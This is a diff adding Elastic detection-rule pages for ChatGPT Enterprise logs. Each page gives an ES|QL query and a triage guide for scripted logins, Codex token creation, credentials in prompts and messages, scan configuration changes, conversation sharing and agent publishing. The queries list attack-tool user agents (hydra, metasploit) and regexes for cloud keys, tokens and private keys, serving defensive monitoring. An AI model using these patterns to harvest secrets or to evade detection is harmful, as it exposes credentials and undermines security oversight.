b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-authentication-from-a-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..ace7c3b67a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-authentication-from-a-suspicious-user-agent.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-authentication-from-a-suspicious-user-agent]] +=== OpenAI ChatGPT Enterprise Authentication from a Suspicious User Agent + +Detects successful ChatGPT Enterprise authentication events where the user agent looks scripted (for example Python, curl, Go HTTP clients, aiohttp, scrapers, or headless browsers) rather than a normal browser. Adversaries and automation often reuse stolen sessions or tokens with non-browser clients. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Identity +* Tactic: Initial Access +* Mitre Atlas: AML.T0012 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Authentication from a Suspicious User Agent* + + +A successful authentication event used a scripted user agent (for example Python, curl, Go HTTP clients, or similar) rather than a typical browser. + +Escalate when the user has no approved CLI or API access, the user agent is unfamiliar, or privileged activity follows the sign-in. Close as a false positive for documented automation, compliance collectors, or SSO libraries that use non-browser clients. + + +*Possible investigation steps* + + +- Confirm `user_agent.original`, `source.ip`, `source.geo.country_iso_code`, and the authenticated user. +- Determine whether the account is expected to use CLI, API, or compliance automation. +- Search for role changes, file downloads, conversation shares, or admin actions from the same user shortly after the event. +- Compare with the user's normal browser-based authentication history. + + +*False positive analysis* + + +- Approved automation, compliance API tooling, and some SSO client libraries use non-browser user agents by design. + + +*Response and remediation* + + +- Revoke sessions for the user, rotate credentials where appropriate, and inventory automation that uses that user agent. +- If takeover is suspected, review subsequent data-access and admin activity for the same account. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.auth_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.auth_log" and + event.action in ("login_success", "native_login_success", "token_issued") and + user_agent.original is not null and + ( + to_lower(user_agent.original) like "*python*" or + to_lower(user_agent.original) like "*curl/*" or + to_lower(user_agent.original) like "*wget*" or + to_lower(user_agent.original) like "*httpie*" or + to_lower(user_agent.original) like "*go-http*" or + to_lower(user_agent.original) like "*aiohttp*" or + to_lower(user_agent.original) like "*fasthttp*" or + to_lower(user_agent.original) like "*httpclient*" or + to_lower(user_agent.original) like "*postmanruntime*" or + to_lower(user_agent.original) like "*headlesschrome*" or + to_lower(user_agent.original) like "*phantomjs*" or + to_lower(user_agent.original) like "*selenium*" or + to_lower(user_agent.original) like "*okhttp*" or + to_lower(user_agent.original) like "*scrapy*" or + to_lower(user_agent.original) like "*hydra*" or + to_lower(user_agent.original) like "*patator*" or + to_lower(user_agent.original) like "*metasploit*" or + to_lower(user_agent.original) like "*curio*" or + to_lower(user_agent.original) like "*hyper*" or + to_lower(user_agent.original) like "*kali*" or + to_lower(user_agent.original) like "ruby*" or + to_lower(user_agent.original) like "node*" or + to_lower(user_agent.original) like "undici*" or + to_lower(user_agent.original) like "java*" or + to_lower(user_agent.original) like "php*" or + to_lower(user_agent.original) like "*bun/*" or + to_lower(user_agent.original) like "*axios*" + ) +| keep _id, _version, _index, @timestamp, event.action, event.outcome, user.email, user.id, source.ip, source.geo.country_iso_code, user_agent.original, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-access-token-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-access-token-created.asciidoc new file mode 100644 index 0000000000..9e2bdff651 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-access-token-created.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-access-token-created]] +=== OpenAI ChatGPT Enterprise Codex Access Token Created + +Detects ChatGPT Enterprise Codex events that create an access token. Codex access tokens enable automated CLI or environment access and can be abused for persistence or lateral automation after account compromise. Treat tokens with a missing `expires_at` as higher priority during triage. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence +* Mitre Atlas: AML.T0083 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Codex Access Token Created* + + +A Codex access token was created. These tokens enable automated CLI or environment access and can be abused for persistence or automation after account compromise. + +Escalate when the token owner or purpose is unclear, the creator is unexpected, or tool and MCP activity follows immediately. Close as a false positive for documented CI or local development token creation. + + +*Possible investigation steps* + + +- Identify the creator (`user.email` / `user.id`) and token-related fields on the alert. +- Confirm the intended automation use and whether a ticket or runbook covers the token. +- Review subsequent Codex tool calls, MCP activity, or security-scan changes from the same user or client. +- Inventory other active Codex tokens for the same user. + + +*False positive analysis* + + +- Developers create Codex tokens for CI runners and local development environments as part of normal workflows. + + +*Response and remediation* + + +- Revoke unauthorized tokens and review subsequent Codex tool and MCP activity. +- Rotate related credentials if the token may have been exposed. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.codex_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.codex_log" and + event.action == "access_token_created" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, + openai_chatgpt_enterprise.codex_log.client_id, + openai_chatgpt_enterprise.codex_log.event_details.access_token_id, + openai_chatgpt_enterprise.codex_log.event_details.access_token_name, + openai_chatgpt_enterprise.codex_log.event_details.created_by_user_id, + openai_chatgpt_enterprise.codex_log.event_details.expires_at, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-prompt-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-prompt-containing-credentials.asciidoc new file mode 100644 index 0000000000..edae8890d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-prompt-containing-credentials.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-prompt-containing-credentials]] +=== OpenAI ChatGPT Enterprise Codex Prompt Containing Credentials + +Detects ChatGPT Enterprise Codex prompt or response text that matches known credential patterns. Secrets pasted into Codex sessions can be retained in compliance logs and may be reused by agent tool calls. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Credential Access +* Mitre Atlas: AML.T0055 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Codex Prompt Containing Credentials* + + +A Codex prompt or response matched a known credential pattern. Secrets pasted into Codex can be retained in compliance logs and may be reused by later tool calls in the same session. + +Escalate when the value appears live, when tool or MCP activity follows the prompt, or when the same user repeats credential-like content. Close as a false positive for clearly synthetic or documentation examples. + + +*Possible investigation steps* + + +- Read the prompt and response text on the alert and decide whether the match is a live secret, an example key, or incidental text. +- Identify the user, Codex client, and session identifiers on the alert. +- Check for nearby Codex tool calls, MCP activity, or access-token creation in the same session. +- If the assistant response echoes the secret, treat that as additional exposure. + + +*False positive analysis* + + +- Developers sometimes paste example keys while debugging or documenting integrations. Confirm the value is live before rotating it. + + +*Response and remediation* + + +- If the credential is live, rotate or revoke it and review use of that credential after the prompt time. +- Review Codex tool activity in the same session and remove residual copies from shared artifacts where possible. +- Restrict who can read compliance logs that retain prompt text, because the alert may contain secret material. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.codex_log-* metadata _id, _version, _index +| eval Esql.prompt_text = coalesce(openai_chatgpt_enterprise.codex_log.event_details.prompt_text, "") +| eval Esql.response_text = coalesce(openai_chatgpt_enterprise.codex_log.event_details.response_text, "") +| where + data_stream.dataset == "openai_chatgpt_enterprise.codex_log" and + event.action == "prompt_response_received" and + ( + ( + Esql.prompt_text is not null and + Esql.prompt_text != "" and + not Esql.prompt_text like "*AKIAIOSFODNN7EXAMPLE*" and + not Esql.prompt_text like "*ASIAIOSFODNN7EXAMPLE*" and + not Esql.prompt_text like "*ghp_example*" and + not Esql.prompt_text like "*sk-ant-api03-test*" and + ( + + Esql.prompt_text rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" or + Esql.prompt_text rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" or + Esql.prompt_text rlike """.*github_pat_[A-Za-z0-9_]+.*""" or + Esql.prompt_text rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" or + Esql.prompt_text rlike """.*xox[baprs]-[0-9]+-[0-9]+-[A-Za-z0-9]+.*""" or + Esql.prompt_text rlike """.*sk_live_[A-Za-z0-9]+.*""" or + Esql.prompt_text rlike """.*AIza[-A-Za-z0-9_]+.*""" or + Esql.prompt_text rlike """.*npm_[A-Za-z0-9]{36}.*""" or + Esql.prompt_text rlike """.*sk-ant-[A-Za-z0-9-]+.*""" or + Esql.prompt_text rlike """.*sk-[A-Za-z0-9]{20,}.*""" or + Esql.prompt_text rlike """.*hvs[.][A-Za-z0-9]+.*""" or + Esql.prompt_text rlike """.*dckr_pat_[-A-Za-z0-9_]+.*""" or + Esql.prompt_text rlike """.*SG[.][-A-Za-z0-9_]+[.][-A-Za-z0-9_]+.*""" or + Esql.prompt_text rlike """.*(AccountKey=|SharedAccessKey=)[-A-Za-z0-9+/=]+.*""" or + Esql.prompt_text rlike """.*eyJ[-A-Za-z0-9_]+[.]eyJ[-A-Za-z0-9_]+[.][-A-Za-z0-9_]+.*""" + ) + ) + or + ( + Esql.response_text is not null and + Esql.response_text != "" and + not Esql.response_text like "*AKIAIOSFODNN7EXAMPLE*" and + not Esql.response_text like "*ASIAIOSFODNN7EXAMPLE*" and + not Esql.response_text like "*ghp_example*" and + not Esql.response_text like "*sk-ant-api03-test*" and + ( + + Esql.response_text rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" or + Esql.response_text rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" or + Esql.response_text rlike """.*github_pat_[A-Za-z0-9_]+.*""" or + Esql.response_text rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" or + Esql.response_text rlike """.*xox[baprs]-[0-9]+-[0-9]+-[A-Za-z0-9]+.*""" or + Esql.response_text rlike """.*sk_live_[A-Za-z0-9]+.*""" or + Esql.response_text rlike """.*AIza[-A-Za-z0-9_]+.*""" or + Esql.response_text rlike """.*npm_[A-Za-z0-9]{36}.*""" or + Esql.response_text rlike """.*sk-ant-[A-Za-z0-9-]+.*""" or + Esql.response_text rlike """.*sk-[A-Za-z0-9]{20,}.*""" or + Esql.response_text rlike """.*hvs[.][A-Za-z0-9]+.*""" or + Esql.response_text rlike """.*dckr_pat_[-A-Za-z0-9_]+.*""" or + Esql.response_text rlike """.*SG[.][-A-Za-z0-9_]+[.][-A-Za-z0-9_]+.*""" or + Esql.response_text rlike """.*(AccountKey=|SharedAccessKey=)[-A-Za-z0-9+/=]+.*""" or + Esql.response_text rlike """.*eyJ[-A-Za-z0-9_]+[.]eyJ[-A-Za-z0-9_]+[.][-A-Za-z0-9_]+.*""" + ) + ) + ) +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, + openai_chatgpt_enterprise.codex_log.client_id, + openai_chatgpt_enterprise.codex_log.event_details.session_id, + openai_chatgpt_enterprise.codex_log.event_details.prompt_text, + openai_chatgpt_enterprise.codex_log.event_details.response_text, + gen_ai.request.model, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-security-scan-configuration-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-security-scan-configuration-changed.asciidoc new file mode 100644 index 0000000000..0168f77781 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-security-scan-configuration-changed.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-security-scan-configuration-changed]] +=== OpenAI ChatGPT Enterprise Codex Security Scan Configuration Changed + +Detects ChatGPT Enterprise Codex security-log events that create or update a repository scan configuration. Changing scan scope, lookback, or notification rules can weaken secrets scanning coverage or redirect findings. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Defense Evasion +* Mitre Atlas: AML.T0081 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Codex Security Scan Configuration Changed* + + +A Codex security scan configuration was created or updated. Changes to repository scope, lookback, or notification rules can weaken secrets-scanning coverage or redirect findings. + +Escalate when the repository is unexpected, notification targets change, or the actor is not on the security engineering team. Close as a false positive for documented onboarding or tuning of approved repositories. + + +*Possible investigation steps* + + +- Identify the actor and the scan configuration fields on the alert (repository URL, scan type, state, lookback). +- Confirm repository ownership and whether the change matches an approved security-engineering request. +- Review related Codex security findings or follow-on activity after the configuration change. +- Compare with other admin or security-configuration changes by the same actor. + + +*False positive analysis* + + +- Security engineering teams legitimately onboard repositories and tune scan lookback windows during rollout. + + +*Response and remediation* + + +- Revert unauthorized scan configuration changes and review related findings. +- If coverage was reduced, restore the prior configuration and investigate why it was changed. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.codex_security_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.codex_security_log" and + event.action in ("scan_configuration_created", "scan_configuration_updated") +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, + openai_chatgpt_enterprise.codex_security_log.client_id, + openai_chatgpt_enterprise.codex_security_log.workspace_id, + openai_chatgpt_enterprise.codex_security_log.event_details.scan_configuration_id, + openai_chatgpt_enterprise.codex_security_log.event_details.scan_configuration_fields.repo_url, + openai_chatgpt_enterprise.codex_security_log.event_details.scan_configuration_fields.scan_type, + openai_chatgpt_enterprise.codex_security_log.event_details.scan_configuration_fields.state, + openai_chatgpt_enterprise.codex_security_log.event_details.scan_configuration_fields.lookback_days, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-message-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-message-containing-credentials.asciidoc new file mode 100644 index 0000000000..a768c1da38 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-message-containing-credentials.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-message-containing-credentials]] +=== OpenAI ChatGPT Enterprise Conversation Message Containing Credentials + +Detects ChatGPT Enterprise conversation messages whose text matches known credential patterns (cloud keys, GitHub tokens, private keys, Slack/SendGrid tokens, Stripe/OpenAI/Anthropic keys, Vault/Docker tokens, JWTs, or Azure storage keys). Secrets pasted into chats can be retained in compliance logs and model context. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Credential Access +* Mitre Atlas: AML.T0055 +* Mitre Atlas: AML.T0057 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Conversation Message Containing Credentials* + + +A conversation message matched a known credential pattern. Secrets pasted into ChatGPT can be retained in compliance logs and model context, and may later appear in shares or exports. + +Escalate when the value appears live, when the conversation is shared externally, or when downloads follow the message. Close as a false positive for clearly synthetic or documentation examples. + + +*Possible investigation steps* + + +- Read `message` on the alert and decide whether the match is a live secret, an example key, or incidental text. +- Identify the user and conversation (`openai_chatgpt_enterprise.conversation_message.conversation.id` / title). +- Look for nearby conversation shares, file downloads, or Codex activity from the same user. +- Check whether the conversation was shared outside the intended audience after the message time. + + +*False positive analysis* + + +- Documentation samples and intentional prompt-security tests can match token patterns. Confirm the value is live before rotating it. + + +*Response and remediation* + + +- If the credential is live, rotate or revoke it and remove residual copies from shared conversations where possible. +- Review subsequent shares and downloads for the same conversation. +- Limit access to alerts and compliance logs that retain message text. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.conversation_message-* metadata _id, _version, _index +| eval Esql.message_text = coalesce(message, "") +| where + data_stream.dataset == "openai_chatgpt_enterprise.conversation_message" and + Esql.message_text is not null and + Esql.message_text != "" and + not Esql.message_text like "*AKIAIOSFODNN7EXAMPLE*" and + not Esql.message_text like "*ASIAIOSFODNN7EXAMPLE*" and + not Esql.message_text like "*ghp_example*" and + not Esql.message_text like "*sk-ant-api03-test*" and + ( + Esql.message_text rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" or + Esql.message_text rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" or + Esql.message_text rlike """.*github_pat_[A-Za-z0-9_]+.*""" or + Esql.message_text rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" or + Esql.message_text rlike """.*xox[baprs]-[0-9]+-[0-9]+-[A-Za-z0-9]+.*""" or + Esql.message_text rlike """.*sk_live_[A-Za-z0-9]+.*""" or + Esql.message_text rlike """.*AIza[-A-Za-z0-9_]+.*""" or + Esql.message_text rlike """.*npm_[A-Za-z0-9]{36}.*""" or + Esql.message_text rlike """.*sk-ant-[A-Za-z0-9-]+.*""" or + Esql.message_text rlike """.*sk-[A-Za-z0-9]{20,}.*""" or + Esql.message_text rlike """.*hvs[.][A-Za-z0-9]+.*""" or + Esql.message_text rlike """.*dckr_pat_[-A-Za-z0-9_]+.*""" or + Esql.message_text rlike """.*SG[.][-A-Za-z0-9_]+[.][-A-Za-z0-9_]+.*""" or + Esql.message_text rlike """.*(AccountKey=|SharedAccessKey=)[-A-Za-z0-9+/=]+.*""" or + Esql.message_text rlike """.*eyJ[-A-Za-z0-9_]+[.]eyJ[-A-Za-z0-9_]+[.][-A-Za-z0-9_]+.*""" + ) +| keep + _id, _version, _index, @timestamp, message, user.id, user.email, + openai_chatgpt_enterprise.conversation_message.conversation.id, + openai_chatgpt_enterprise.conversation_message.conversation.title, + openai_chatgpt_enterprise.conversation_message.message.author.type, + openai_chatgpt_enterprise.conversation_message.message.id, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-shared.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-shared.asciidoc new file mode 100644 index 0000000000..1a663419a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-shared.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-shared]] +=== OpenAI ChatGPT Enterprise Conversation Shared + +Detects ChatGPT Enterprise audit events where a conversation is shared. Sharing can expose prompts, completions, and attached files outside the original conversation participants and may be used to exfiltrate sensitive content. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Exfiltration +* Mitre Atlas: AML.T0025 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Conversation Shared* + + +A conversation was shared. Sharing can expose prompts, responses, and attached context beyond the original participants. + +Escalate when the audience is external or overly broad, the conversation contains sensitive data, or sharing coincides with downloads or mass deletion. Close as a false positive for expected collaboration inside the organization. + + +*Possible investigation steps* + + +- Identify the user, conversation, and share-related fields on the alert. +- Determine the intended audience and whether it matches workspace sharing policy. +- Review nearby message content, file downloads, or additional shares from the same user. +- Check whether the conversation includes credentials, proprietary code, or customer data. + + +*False positive analysis* + + +- Users intentionally share conversations for collaboration within the organization when that sharing path is approved. + + +*Response and remediation* + + +- Revoke unauthorized shares and review other sharing activity by the same actor. +- If sensitive content was exposed, follow your data-incident process for the recipients and channel used. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "conversation_share" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.conversation_id, + openai_chatgpt_enterprise.audit_log.action_data.shared_conversation_id, + openai_chatgpt_enterprise.audit_log.action_data.already_exists, + openai_chatgpt_enterprise.audit_log.action_privilege, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-published.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-published.asciidoc new file mode 100644 index 0000000000..fd3e6c3517 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-published.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-published]] +=== OpenAI ChatGPT Enterprise Custom Agent Published + +Detects ChatGPT Enterprise custom-agent publish events (`agent_published`). Publishing an agent with connectors, skills, or store visibility can establish durable automation and broaden data access beyond the original user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence +* Mitre Atlas: AML.T0081 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Custom Agent Published* + + +A custom agent was published. Published agents with connectors, skills, and store visibility can establish durable automation and broaden data access. + +Escalate when visibility is broader than expected, connectors are sensitive, or the publisher is not authorized to release agents. Close as a false positive for approved platform rollouts. + + +*Possible investigation steps* + + +- Identify the actor and agent identifiers on the alert. +- Review connectors, skills, store visibility, and any release notes or description fields. +- Confirm whether publication matches an approved change request. +- Look for related trigger creation or OAuth link events from the same actor. + + +*False positive analysis* + + +- Platform teams publish approved custom agents during controlled workspace rollouts. + + +*Response and 